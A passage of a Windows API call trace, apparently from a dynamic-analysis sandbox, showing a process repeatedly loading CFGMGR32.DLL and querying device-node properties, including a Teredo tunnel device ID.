0x7ffa786ddfb0 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.380] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0183.380] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.380] malloc (_Size=0x48) returned 0x196ef0fb950 [0183.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e27f230, dwHighDateTime=0x1d9eb0c)) [0183.380] SetEvent (hEvent=0x248) returned 1 [0183.383] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.383] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.386] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0183.386] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0183.386] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0183.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e2a525d, dwHighDateTime=0x1d9eb0c)) [0183.386] SetEvent (hEvent=0x248) returned 1 [0183.389] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.390] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.392] malloc (_Size=0x18) returned 0x196ef0d19a0 [0183.392] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.396] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0183.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e2a525d, dwHighDateTime=0x1d9eb0c)) [0183.396] SetEvent (hEvent=0x248) returned 1 [0183.398] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.398] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.401] malloc (_Size=0x18) returned 0x196ef0d1a60 [0183.401] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x14, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0183.402] malloc (_Size=0x48) returned 0x196ef0fb400 [0183.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.402] SetEvent (hEvent=0x248) returned 1 [0183.405] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.408] malloc (_Size=0x18) returned 0x196ef0d20c0 [0183.408] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x14, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0183.408] malloc (_Size=0x48) returned 0x196ef0fbef0 [0183.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.408] SetEvent (hEvent=0x248) returned 1 [0183.410] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.410] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.413] malloc (_Size=0x18) returned 0x196ef0d1c00 [0183.413] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0183.413] malloc (_Size=0x48) returned 0x196ef0fc120 [0183.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e2cb5aa, dwHighDateTime=0x1d9eb0c)) [0183.414] SetEvent (hEvent=0x248) returned 1 [0183.418] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.418] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.419] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.420] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.422] malloc (_Size=0x18) returned 0x196ef0d1d60 [0183.422] CM_Get_Device_IDA (in: dnDevInst=0x15, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\TEREDO_TUNNEL_DEVICE") returned 0x0 [0183.422] malloc (_Size=0x48) returned 0x196ef0fba40 [0183.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4e2f166a, dwHighDateTime=0x1d9eb0c)) [0183.422] SetEvent (hEvent=0x248) returned 1 [0183.562] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.562] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.564] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.565] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.566] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.567] malloc (_Size=0x18) returned 0x196ef0d20e0 [0183.567] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0183.567] malloc (_Size=0x12) returned 0x196ef0d19a0 [0183.567] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d19a0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d19a0, pulLength=0x67117d608) returned 0x0 [0183.567] free (_Block=0x196ef0d19a0) [0183.567] malloc (_Size=0x48) returned 0x196ef0fbb30 [0183.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4e448d9c, dwHighDateTime=0x1d9eb0c)) [0183.568] SetEvent (hEvent=0x248) returned 1 [0183.572] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0183.572] SafeArrayPutElement (psa=0x196ef1f22b0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0183.572] free (_Block=0x196ef0d1ba0) [0183.572] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856760 [0183.572] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0183.572] SafeArrayGetLBound (in: psa=0x196ef1f22b0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0183.572] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0183.572] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63b0 [0183.572] SafeArrayGetDim (psa=0x196ef1f22b0) returned 0x1 [0183.572] SafeArrayGetUBound (in: psa=0x196ef1f22b0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0183.572] SafeArrayGetElemsize (psa=0x196ef1f22b0) returned 0x8 [0183.573] SafeArrayGetElement (in: psa=0x196ef1f22b0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0183.573] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c60, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.574] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63b0) returned 1 [0183.574] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856760) returned 1 [0183.575] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.575] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 